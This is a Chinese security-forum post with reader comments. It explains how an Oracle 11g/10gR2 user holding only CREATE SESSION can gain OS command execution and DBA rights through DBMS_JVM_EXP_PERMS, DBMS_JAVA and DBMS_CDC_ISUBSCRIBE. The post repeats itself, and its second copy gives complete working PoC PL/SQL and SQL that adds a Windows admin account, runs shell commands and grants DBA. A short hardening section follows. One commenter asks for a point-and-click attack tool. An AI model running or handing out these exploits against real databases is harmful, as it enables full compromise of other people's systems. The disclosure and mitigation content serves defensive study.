渗透oracle11g
我曾经在90sec论坛里发过这两篇文章,目测t00ls里关于oracle攻防方面的文档很少,算是科普一下,再次拿出来分享,也给自己攒点积分好能看别人发的帖子
一. 漏洞概要
漏洞描述:
Oracle11g自身权限配置的缺陷,导致只拥有CREATE SESSION权限的用户能够完全控制整个系统。
受影响版本:
Oracle Database 11.1.0.7.0以及更低版本
二. 原理分析
2.1 获取Java执行权限
在oracle当中,可以利用java访问系统文件、执行命令以及创建socket。而java权限的信息被保存在JAVA$POLICY$表中,如图所示
JAVA$POLICY$表下有一个视图DBA_JAVA_POLICY,实际上所有用户的java权限都在此视图当中。
要利用java去干我们想要做的事情,首先需要获取java权限。默认PUBLIC账户仅拥有CREATE SESSION的权限。但是ORACLE在Java权限处理上存在一个缺陷,默认Oracle下有一个DBMS_JVM_EXP_PERMS包,利用它我们可以获得对任意文件执行java的权限。DBMS_JVM_EXP_PERMS包其实是用来在不同的Oracle数据库服务器之间导入导出java权限为的是方便部署以及升级java应用程序。
默认DBMS_JVM_EXP_PERMS包的属主是SYS,但是它对PUBLIC有执行权限。DBMS_JVM_EXP_PERMS包含一个存储过程IMPORT_JVM_PERMS,利用此存储过程我们可以将自定义的policy添加到JAVA$POLICY$表当中,比如我们自定义策略SELECT 'GRANT','GENXOR','SYS','java.io.FilePermission','<<ALL FILES>>','execute','ENABLED' FROM DUAL,然后执行IMPORT_JVM_PERMS将自定义策略添加到JAVA$POLICY$中,这样账户GENXOR便拥有了所有文件的java执行权限,这样随便找一个带有Runtime.getRuntime().exec()的class便能够执行任意系统命令了,这一点后面详细说明。例如:如果我们创建的oracle用户有CREATE PROCEDURE权限,便可以创建java class源以及PL/SQL包程序执行任意系统命令,但是现实总是残酷的,我们没有CREATE PROCEDURE权限。因为无法自定义java源,所以只能去寻找oracle中现存的class文件,通过反复查找发现在oracle/aurora/util中存在一个Wrapper.class文件,分析其代码发现存在Runtime.getRuntime().exec(),如图所示:
Oracle对PUBLIC还真是仁慈,在ORACLE中还存在一个DBMS_JAVA包,属主也是SYS,而且默认也PUBLIC有执行权限。这里调用DBMS_JAVA.RUNJAVA函数并配合上面获得的任意文件执行java的权限执行Wrapper.class,便可以完美执行系统命令。例如:
SELECT DBMS_JAVA.RUNJAVA('oracle/aurora/util/Wrapper c:\\windows\\system32\\cmd.exe /c net user admin password /add') FROM DUAL;
2.2 获取DBA权限
在DBMS_JAVA包中有一个SET_OUTPUT_TO_JAVA函数,描述如下所示:
这里我们关心的是最后面的INITIALIZATION_STATEMENT和FINALIZATION_STATEMENT这两个参数,这里可以将我们的要执行的sql语句插入到这两个参数当中。此函数允许用户将System.out和System.err的java输出从定向到一个新的session,当session创建时我们的sql代码也就执行了。如果我们能找到一个SYS权限的包并将输出写入到System.out和System.err中,这样新创建的session便是sys权限的,我们插入的sql代码也是以SYS权限执行的。
很幸运,在Oracle确实存在这样的package,DBMS_CDC_ISUBSCRIBE是一个属主为SYS,并且PUBLIC可以执行的包程序,此package包含一个存储过程INT_PURGE_WINDOW,如图所示:
可以看到INT_PURGE_WINDOW有两个参数,SUBSCRIPTION_NAME和SUBSCRIPTION_NAME,这里我们传入一个无效的SUBSCRIPTION_NAME强制产生错误并写入到System.err,此时会创建一个新的session并且是SYS权限,与此同时我们插入的SQL代码也以SYS权限执行了。例如:三. 技术验证
3.1 获取Java执行权限
先给出POC:这里在Windows Server 2003上安装Oracle 11.1.0.6.0,然后创建一个genxor用户并只授予CREATE SESSION权限,
下面执行脚本,如图所示
这里去JAVA$POLICY$表当中看一下,已经给GENXOR用户授予权限,
同时admin账户也添加成功,如图所示:
此处可以用DBMS_JAVA_TEST.FUNCALL替换DBMS_JAVA.RUNJAVA执行,代码如下:
SELECT DBMS_JAVA.RUNJAVA('oracle/aurora/util/Wrapper c:\\windows\\system32\\cmd.exe /c net user admin /add') FROM DUAL;
在Oracle 10gR2当中,DBMS_JVM_EXP_PERMS包也存在此缺陷,利用方法大同小异。不同的是要执行java文件还需要拥有writeFileDescriptor和readFileDescriptor的权限,并且在Oracle 10gR2的DBMS_JAVA包中没有RUNJAVA函数,这里只能调用DBMS_JAVA_TEST.FUNCALL函数。PoC如下:执行结果如下所示:
3.2 获取DBA
先给出POC:执行结果如下:
下面可以进一步授予javasyspriv角色,创建java源,存储过程……….
四. 总结
4.1 漏洞小结
问题的根源在于ORACLE默认把DBMS_JVM_EXP_PERMS、DBMS_JAVA以及DBMS_JAVA_TEST等危险package的执行权限直接授予了PUBLIC,导致只要拥有CREATE SESSION权限,便能执行java程序,进而控制整个系统。
4.2 防护方案
0x01、如果不需要用java,可以将JVM从oracle中移除。要删除java可以执行%ORACLE_HOME%\javavm\install目录中的rmjvm.sql脚本。
0x02、回收PUBLIC用户的DBMS_JVM_EXP_PERMS、DBMS_JAVA以及DBMS_JAVA_TEST执行权限。
一. 漏洞概要
漏洞描述:
Oracle11g自身权限配置的缺陷,导致只拥有CREATE SESSION权限的用户能够完全控制整个系统。
受影响版本:
Oracle Database 11.1.0.7.0以及更低版本
二. 原理分析
2.1 获取Java执行权限
在oracle当中,可以利用java访问系统文件、执行命令以及创建socket。而java权限的信息被保存在JAVA$POLICY$表中,如图所示
JAVA$POLICY$表下有一个视图DBA_JAVA_POLICY,实际上所有用户的java权限都在此视图当中。
要利用java去干我们想要做的事情,首先需要获取java权限。默认PUBLIC账户仅拥有CREATE SESSION的权限。但是ORACLE在Java权限处理上存在一个缺陷,默认Oracle下有一个DBMS_JVM_EXP_PERMS包,利用它我们可以获得对任意文件执行java的权限。DBMS_JVM_EXP_PERMS包其实是用来在不同的Oracle数据库服务器之间导入导出java权限为的是方便部署以及升级java应用程序。
默认DBMS_JVM_EXP_PERMS包的属主是SYS,但是它对PUBLIC有执行权限。DBMS_JVM_EXP_PERMS包含一个存储过程IMPORT_JVM_PERMS,利用此存储过程我们可以将自定义的policy添加到JAVA$POLICY$表当中,比如我们自定义策略SELECT 'GRANT','GENXOR','SYS','java.io.FilePermission','<<ALL FILES>>','execute','ENABLED' FROM DUAL,然后执行IMPORT_JVM_PERMS将自定义策略添加到JAVA$POLICY$中,这样账户GENXOR便拥有了所有文件的java执行权限,这样随便找一个带有Runtime.getRuntime().exec()的class便能够执行任意系统命令了,这一点后面详细说明。例如:
DECLARE
POL DBMS_JVM_EXP_PERMS.TEMP_JAVA_POLICY;
CURSOR C1 IS SELECT
'GRANT','GENXOR','SYS','java.io.FilePermission',
'<<ALL FILES>>','execute','ENABLED' FROM DUAL;
BEGIN
OPEN C1;
FETCH C1 BULK COLLECT INTO POL;
CLOSE C1;
DBMS_JVM_EXP_PERMS.IMPORT_JVM_PERMS(POL);
END;
/
Oracle对PUBLIC还真是仁慈,在ORACLE中还存在一个DBMS_JAVA包,属主也是SYS,而且默认也PUBLIC有执行权限。这里调用DBMS_JAVA.RUNJAVA函数并配合上面获得的任意文件执行java的权限执行Wrapper.class,便可以完美执行系统命令。例如:
SELECT DBMS_JAVA.RUNJAVA('oracle/aurora/util/Wrapper c:\\windows\\system32\\cmd.exe /c net user admin password /add') FROM DUAL;
2.2 获取DBA权限
在DBMS_JAVA包中有一个SET_OUTPUT_TO_JAVA函数,描述如下所示:
这里我们关心的是最后面的INITIALIZATION_STATEMENT和FINALIZATION_STATEMENT这两个参数,这里可以将我们的要执行的sql语句插入到这两个参数当中。此函数允许用户将System.out和System.err的java输出从定向到一个新的session,当session创建时我们的sql代码也就执行了。如果我们能找到一个SYS权限的包并将输出写入到System.out和System.err中,这样新创建的session便是sys权限的,我们插入的sql代码也是以SYS权限执行的。
很幸运,在Oracle确实存在这样的package,DBMS_CDC_ISUBSCRIBE是一个属主为SYS,并且PUBLIC可以执行的包程序,此package包含一个存储过程INT_PURGE_WINDOW,如图所示:
可以看到INT_PURGE_WINDOW有两个参数,SUBSCRIPTION_NAME和SUBSCRIPTION_NAME,这里我们传入一个无效的SUBSCRIPTION_NAME强制产生错误并写入到System.err,此时会创建一个新的session并且是SYS权限,与此同时我们插入的SQL代码也以SYS权限执行了。例如:
SELECT DBMS_JAVA.SET_OUTPUT_TO_JAVA('ID','oracle/aurora/rdbms/DbmsJava','SYS','writeOutputToFile','TEXT', NULL, NULL, NULL, NULL,0,1,1,1,1,0,'DECLARE PRAGMA AUTONOMOUS_TRANSACTION; BEGIN EXECUTE IMMEDIATE ''GRANT DBA TO GENXOR''; END;', 'BEGIN NULL; END;') FROM DUAL;
/
EXEC DBMS_CDC_ISUBSCRIBE.INT_PURGE_WINDOW('NO_SUCH_SUBSCRIPTION',SYSDATE());
3.1 获取Java执行权限
先给出POC:
DECLARE
POL DBMS_JVM_EXP_PERMS.TEMP_JAVA_POLICY;
CURSOR C1 IS SELECT
'GRANT','GENXOR','SYS','java.io.FilePermission',
'<<ALL FILES>>','execute','ENABLED' FROM DUAL;
BEGIN
OPEN C1;
FETCH C1 BULK COLLECT INTO POL;
CLOSE C1;
DBMS_JVM_EXP_PERMS.IMPORT_JVM_PERMS(POL);
END;
/
SELECT DBMS_JAVA.RUNJAVA('oracle/aurora/util/Wrapper c:\\windows\\system32\\cmd.exe /c net user admin password /add') FROM DUAL;
下面执行脚本,如图所示
这里去JAVA$POLICY$表当中看一下,已经给GENXOR用户授予权限,
同时admin账户也添加成功,如图所示:
此处可以用DBMS_JAVA_TEST.FUNCALL替换DBMS_JAVA.RUNJAVA执行,代码如下:
SELECT DBMS_JAVA.RUNJAVA('oracle/aurora/util/Wrapper c:\\windows\\system32\\cmd.exe /c net user admin /add') FROM DUAL;
在Oracle 10gR2当中,DBMS_JVM_EXP_PERMS包也存在此缺陷,利用方法大同小异。不同的是要执行java文件还需要拥有writeFileDescriptor和readFileDescriptor的权限,并且在Oracle 10gR2的DBMS_JAVA包中没有RUNJAVA函数,这里只能调用DBMS_JAVA_TEST.FUNCALL函数。PoC如下:
DECLARE
POL DBMS_JVM_EXP_PERMS.TEMP_JAVA_POLICY;
CURSOR C1 IS SELECT 'GRANT',USER(),'SYS','java.io.FilePermission','<<ALL FILES>>','execute','ENABLED' FROM DUAL;
BEGIN
OPEN C1;
FETCH C1 BULK COLLECT INTO POL;
CLOSE C1;
DBMS_JVM_EXP_PERMS.IMPORT_JVM_PERMS(POL);
END;
/
DECLARE
POL DBMS_JVM_EXP_PERMS.TEMP_JAVA_POLICY;
CURSOR C1 IS SELECT 'GRANT',USER(),'SYS','java.lang.RuntimePermission','writeFileDescriptor',NULL,'ENABLED' FROM DUAL;
BEGIN
OPEN C1;
FETCH C1 BULK COLLECT INTO POL;
CLOSE C1;
DBMS_JVM_EXP_PERMS.IMPORT_JVM_PERMS(POL);
END;
/
DECLARE
POL DBMS_JVM_EXP_PERMS.TEMP_JAVA_POLICY;
CURSOR C1 IS SELECT 'GRANT',USER(),'SYS','java.lang.RuntimePermission','readFileDescriptor',NULL,'ENABLED' FROM DUAL;
BEGIN
OPEN C1;
FETCH C1 BULK COLLECT INTO POL;
CLOSE C1;
DBMS_JVM_EXP_PERMS.IMPORT_JVM_PERMS(POL);
END;
/
SELECT DBMS_JAVA_TEST.FUNCALL('oracle/aurora/util/Wrapper','main','/bin/bash','-c','/sbin/ifconfig>/tmp/a.txt') FROM DUAL;
3.2 获取DBA
先给出POC:
SELECT DBMS_JAVA.SET_OUTPUT_TO_JAVA('ID','oracle/aurora/rdbms/DbmsJava','SYS','writeOutputToFile','TEXT', NULL, NULL, NULL, NULL,0,1,1,1,1,0,'DECLARE PRAGMA AUTONOMOUS_TRANSACTION; BEGIN EXECUTE IMMEDIATE ''GRANT DBA TO GENXOR''; END;', 'BEGIN NULL; END;') FROM DUAL;
/
EXEC DBMS_CDC_ISUBSCRIBE.INT_PURGE_WINDOW('NO_SUCH_SUBSCRIPTION',SYSDATE());
下面可以进一步授予javasyspriv角色,创建java源,存储过程……….
四. 总结
4.1 漏洞小结
问题的根源在于ORACLE默认把DBMS_JVM_EXP_PERMS、DBMS_JAVA以及DBMS_JAVA_TEST等危险package的执行权限直接授予了PUBLIC,导致只要拥有CREATE SESSION权限,便能执行java程序,进而控制整个系统。
4.2 防护方案
0x01、如果不需要用java,可以将JVM从oracle中移除。要删除java可以执行%ORACLE_HOME%\javavm\install目录中的rmjvm.sql脚本。
0x02、回收PUBLIC用户的DBMS_JVM_EXP_PERMS、DBMS_JAVA以及DBMS_JAVA_TEST执行权限。
评论55次
发现现在的干货文章越来越少了,大佬放个PDF的上来吧,让我们这样的弱鸡多学学。
2020考古,看楼主的帖子学xi
发现现在的干货文章越来越少了,大佬放个PDF的上来吧,让我们这样的弱鸡多学学。
何时才能像大神一样优秀,几年前的文章还是干货满满,赞
向大神学xi
感谢分享,oracle文章到现在还很少
赞.收藏了
很可惜,我自己的数据库功底比较差,哎!可以看懂,但是有些地方还是无法突破,只能自己慢慢积累和实践了。
技术完全不在一个层面上,受教了
很赞..很全.我是从微信推广看到的..自己再总结一下,搭个环境测一测
之前只是觉得oracle11g数据库用户的密码改动的更不容易破解了,还不知道有这手
这种优质文章,我就只好收藏了
收藏了。我要亲自检测一下,因为本单位的核心xi统就是用的oracle11g,不知道楼主这个是不是企业级数据库?
一直在找oracle注入怎么扩大战果,感谢。
信息量很大呀,我本机就是用的oracle11g,可以测试一下,公司也用的,不知道企业版的有没有。
怎么挖坟挖出来的
先回帖再看 找这方面资料很久了
是个好东西 但是对于小白还是有难度的 楼主是否可以写个利用工具那?填写相应信息即可实施攻击 谢啦
收藏了,但是jsp默认权限都是很大的,就是因为java可以执行命令吗?
很好的文章
oracle确实太少了